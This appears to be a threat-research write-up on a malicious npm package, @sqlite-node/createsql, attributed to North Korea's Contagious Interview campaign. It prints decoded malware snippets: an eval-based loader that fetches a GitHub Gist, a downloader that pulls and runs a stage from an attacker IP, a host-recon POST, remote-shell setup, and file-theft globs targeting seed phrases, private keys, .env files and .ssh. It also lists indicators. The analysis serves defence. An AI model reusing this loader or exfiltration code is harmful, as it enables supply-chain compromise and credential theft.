@sqlite-node/createsql: the DPRK's npm quota, fulfilled via GitHub Gist

A North Korean propaganda poster — a worker barks into a radio under a banner reading 'Let's unconditionally fulfill this year's people's economic plan!' — standing in for the Contagious Interview crew making its quota again: a fourth npm sample of the same BeaverTail-to-InvisibleFerret kit, this time delivered from a GitHub Gist.

The package is 707 bytes, and almost none of them are malicious. Its entire index.js fetches one GitHub Gist through the API and evals the response — npm does the fetching, npm does the detonating, and the actual weapon never ships in the tarball. What unrolls from there is the same DPRK Contagious Interview kit this site has now caught four times; the only thing that changed is the wrapper.

Package metadata

Field Value
Name @sqlite-node/createsql
Version 1.0.7
Description A SQLite Tooslkit for node version
Author anton carlos
License ISC
Repository git+https://github.com/guilderguzman/array-utl_nodelump.git
Keywords node, lamp
Main index.js

Stage 1 — the Gist dead-drop

The loader pulls the Gist's first file from the GitHub API and evals its text, so GitHub is the dead-drop and the operator can swap the payload without ever republishing to npm.

// index.js — the entire package
const gisturl = "https://gist.github.com/metabrainai000/198a0bbec7a6018e9250615d26e37b90.js";
const gistId = gisturl.split('/').pop().replace('.js', '');
const apiTarget = `https://api.github.com/gists/${gistId}`;
const response = await fetch(apiTarget);
const scriptText = (await response.json()).files[/* first */].content;
eval(scriptText);
Trait Evidence
objectives/command-and-control/channel/deaddrop/github GitHub Gist API content executed with eval [T1102.003, T1059.007]
objectives/supply-chain/hidden-payload/staging npm package loads and evals GitHub Gist API content [T1195.002]
objectives/command-and-control/dropper/delivery/fetch-eval Fetch remote code and eval in memory [T1059.007]

Stage 2 — what the Gist serves

The Gist body is a javascript-obfuscator blob; decoded, it does four things in order. It installs its own HTTP and socket libraries with npm, pulls the next stage from a hard-coded IP, writes it to disk, and runs it with node — the malware uses npm as its own package manager.

// next-stage-script.js (the Gist) — javascript-obfuscator blob, decoded
execSync('npm install axios socket.io-client --no-save --loglevel silent', { cwd: tmpdir(), windowsHide: true });
const { data } = await axios.get('http://144.172.117.57/api/service/9aba3ce72b399b18cb920d6ade09d534');
writeFileSync(join(tmpdir(), '0001.dat'), data, { flag: 'w+' });
execSync('node 0001.dat', { cwd: tmpdir(), windowsHide: true });
Trait Evidence
objectives/command-and-control/dropper/execution/network-stage Obfuscated Node hidden-stage downloader [T1105, T1059.007, T1027]
objectives/supply-chain/hidden-payload/runtime Obfuscated Node loader hides staged execution [T1195.002, T1105]
objectives/anti-static/obfuscation/tools/js-obfuscator Advanced array-shuffling decoder loop [T1027.002]
micro-behaviors/process/create/spawn windowsHide set via expression on the spawn

Stage 3 — the fan-out

0001.dat is where the 707 bytes finally pay off: it writes and spawns four payloads, none of which ever touched the registry. Together they are a complete InvisibleFerret kit — a node-pty remote shell, a multipart file-stealer, and a clipboard watcher — every packet stamped with the same campaign id the download URL carried. Its glob list reads like a crypto-wallet shopping run — seed-phrase and private-key filename patterns, dotenv files, browser and wallet directories — and the loot is POSTed as multipart form-data to port 7626.

Drop Role Sink
scdata Recon + control client; POSTs OS/user/home/shell, installs ssh2 + node-pty@1.0.0 for an interactive remote shell /api/service/process/<uid>, /api/service/makelog
ldata form-data multipart-uploader bundle 144.172.117.57:7626/upload
node -e #1 Recursive file stealer — wallet/seed/private-key/dotenv globs, browser & wallet dirs 144.172.117.57:7626/upload
node -e #2 Clipboard watcher — pbpaste (macOS) / Get-Clipboard (Windows) /api/service/makelog
// scdata — host recon to the campaign-id endpoint, then a remote-shell toolchain
axios.post('http://144.172.117.57/api/service/process/9aba3ce72b399b18cb920d6ade09d534', {
  OS: 'Linux', platform, release, host,
  userInfo: { uid, gid, username, homedir, shell }, uid, t: '1' });
execSync('npm install socket.io-client ssh2 node-pty@1.0.0 ...');

// node -e #1 — file-stealer globs, cleartext in the obfuscated string array
['*secret phrase*', '*private key*', '*.env*', '*.pdf', '.ssh', …]  // → :7626/upload

The on-disk stage-3 file is one obfuscated line, so the four drops above were recovered by running the chain under instrumentation — every fetch, write, and spawn stubbed and logged — not by reading them.

Trait Evidence
objectives/anti-static/obfuscation/payload/data-file Single-line obfuscated payload contains Node stage runtime [T1027, T1059.007]

Same kit, new address

Strip the wrapper and this is web-dotenv, clx-cookieparser, and path-internal-util one more time — the same scdata control client, the same makelog exfil path, the same node-pty shell, the same seed-phrase globs, all already pinned to North Korea's Contagious Interview campaign via dprk-research.kmsec.uk. What's new is the address: the C2 is 144.172.117.57 with an upload port of 7626, off the Tier.Net 216.126.224.0/22 range every prior sample leaned on, and stage 2 now hides in a public GitHub Gist instead of a jsonkeeper blob. Same operators, same quota — they've just moved the dead-drop onto GitHub and rented a fresh IP to collect.

Indicators

Indicator Value
Tarball SHA-256 1fdd44688b0c659850b1afb6163655e5f7e8ba087fb7638d6a8d4d924e8dd2e0
index.js SHA-256 1f7b28a203a45563eb516228ba2beda4810887717cc64c49ab8dd5fdcf9458e5
Stage-2 Gist body SHA-256 6c9787cc8feefde605f56b1acda9476639cdcd4fdf25cef3c380021ad65cfd99
Stage-3 0001.dat SHA-256 448c74b0598bb0c37d90f93888220a121cf575252617e27ef6be6b71c210078e
Gist URL https://gist.github.com/metabrainai000/198a0bbec7a6018e9250615d26e37b90
Gist API https://api.github.com/gists/198a0bbec7a6018e9250615d26e37b90
Gist owner metabrainai000
Stage-2 download http://144.172.117.57/api/service/9aba3ce72b399b18cb920d6ade09d534
Recon endpoint http://144.172.117.57/api/service/process/9aba3ce72b399b18cb920d6ade09d534
Log endpoint http://144.172.117.57/api/service/makelog
File / clipboard exfil http://144.172.117.57:7626/upload
Campaign id 9aba3ce72b399b18cb920d6ade09d534
Dropped artifacts 0001.dat, scdata, ldata, vhost_ctl, npm-compiler.log

← All discoveries